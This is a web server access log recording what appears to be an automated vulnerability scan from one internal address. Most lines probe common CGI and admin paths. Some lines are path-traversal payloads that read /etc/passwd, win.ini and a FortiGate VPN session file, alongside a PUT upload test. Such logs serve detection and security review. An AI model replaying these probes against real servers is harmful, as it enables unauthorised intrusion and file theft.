[30/Apr/2022:06:37:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:37:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /search?NS-query-pat=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:37:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /search?NS-query-pat=../../../../../../../../../etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:37:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:37:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:37:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ifx/?LO=../../../../../etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:37:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:37:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /buglist.cgi HTTP/1.1" 196
[30/Apr/2022:06:37:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi/mid.cgi HTTP/1.1" 196
[30/Apr/2022:06:37:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin HTTP/1.1" 196
[30/Apr/2022:06:37:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:37:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.pl HTTP/1.1" 196
[30/Apr/2022:06:37:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator HTTP/1.1" 196
[30/Apr/2022:06:37:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/agorn.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/bugreport.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /status.xsl. HTTP/1.1" 196
[30/Apr/2022:06:38:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/cart.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /DTW6Ie6nr4La HTTP/1.1" 196
[30/Apr/2022:06:38:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "PUT /DTW6Ie6nr4La HTTP/1.1" 220
[30/Apr/2022:06:38:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /DTW6Ie6nr4La HTTP/1.1" 196
[30/Apr/2022:06:38:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 196
[30/Apr/2022:06:38:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /FormHandler.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/faqmanager.cgi?toc=/etc/passwd%00 HTTP/1.1" 196
[30/Apr/2022:06:38:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/clwarn.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST http://127.0.0.1/iControl/iControlPortal.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /DB4Web/dc4lp-tenable02:23/foo HTTP/1.1" 196
[30/Apr/2022:06:38:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /CFIDE/administrator/index.cfm HTTP/1.1" 196
[30/Apr/2022:06:38:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nitro/v1/config/mps HTTP/1.1" 196
[30/Apr/2022:06:38:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=..\\..\\..\\Windows\\System32\\drivers\\etc\\&readmeText=1 HTTP/1.1" 196
[30/Apr/2022:06:38:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /dev/ HTTP/1.1" 196
[30/Apr/2022:06:38:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/count.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /axis/DirectDownload.jsp HTTP/1.1" 196
[30/Apr/2022:06:38:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /_mt/mt.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /buglist.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi/mid.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin HTTP/1.1" 196
[30/Apr/2022:06:38:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.pl HTTP/1.1" 196
[30/Apr/2022:06:38:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator HTTP/1.1" 196
[30/Apr/2022:06:38:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/Count.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/agorn.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/bugreport.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/cart.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/clwarn.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/count.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/Count.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/faqmanager.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormHandler.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormMail.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/guestbook.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/help.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/hi HTTP/1.1" 196
[30/Apr/2022:06:38:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.pl HTTP/1.1" 196
[30/Apr/2022:06:38:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.sh HTTP/1.1" 196
[30/Apr/2022:06:38:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/login HTTP/1.1" 196
[30/Apr/2022:06:38:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/login.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mailit.pl HTTP/1.1" 196
[30/Apr/2022:06:38:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/faqmanager.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/ncbook/book.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv HTTP/1.1" 294
[30/Apr/2022:06:38:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/quickstore.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search HTTP/1.1" 196
[30/Apr/2022:06:38:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status HTTP/1.1" 196
[30/Apr/2022:06:38:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.sh HTTP/1.1" 196
[30/Apr/2022:06:38:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test-cgi HTTP/1.1" 779
[30/Apr/2022:06:38:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/upload.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/urlcount.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/viewcvs.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa HTTP/1.1" 196
[30/Apr/2022:06:38:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.exe HTTP/1.1" 196
[30/Apr/2022:06:38:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormHandler.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin-sdb/printenv HTTP/1.1" 196
[30/Apr/2022:06:38:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-mod/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.pl HTTP/1.1" 196
[30/Apr/2022:06:38:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.sh HTTP/1.1" 196
[30/Apr/2022:06:38:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nph-mr.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /query.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /session_login.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /show_bug.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test HTTP/1.1" 196
[30/Apr/2022:06:38:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ucsm/isSamInstalled.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wp-login.php HTTP/1.1" 196
[30/Apr/2022:06:38:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwadmin.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormMail.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwboard.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xampp/cgi.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:38:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /_mt/mt.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /buglist.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi/mid.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin HTTP/1.1" 196
[30/Apr/2022:06:38:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.pl HTTP/1.1" 196
[30/Apr/2022:06:38:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator HTTP/1.1" 196
[30/Apr/2022:06:38:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/agorn.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/guestbook.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/bugreport.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/cart.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/clwarn.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/count.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/Count.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/faqmanager.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormHandler.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormMail.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/guestbook.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/help.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/hi HTTP/1.1" 196
[30/Apr/2022:06:38:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.pl HTTP/1.1" 196
[30/Apr/2022:06:38:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.sh HTTP/1.1" 196
[30/Apr/2022:06:38:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/login.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mailit.pl HTTP/1.1" 196
[30/Apr/2022:06:38:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/help.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/ncbook/book.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv HTTP/1.1" 294
[30/Apr/2022:06:38:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/quickstore.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search HTTP/1.1" 196
[30/Apr/2022:06:38:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status HTTP/1.1" 196
[30/Apr/2022:06:38:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.cgi HTTP/1.1" 196
[30/Apr/2022:06:38:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.sh HTTP/1.1" 196
[30/Apr/2022:06:39:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test-cgi HTTP/1.1" 779
[30/Apr/2022:06:39:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/upload.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/urlcount.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/viewcvs.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa HTTP/1.1" 196
[30/Apr/2022:06:39:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.cgi HTTP/1.1" 196
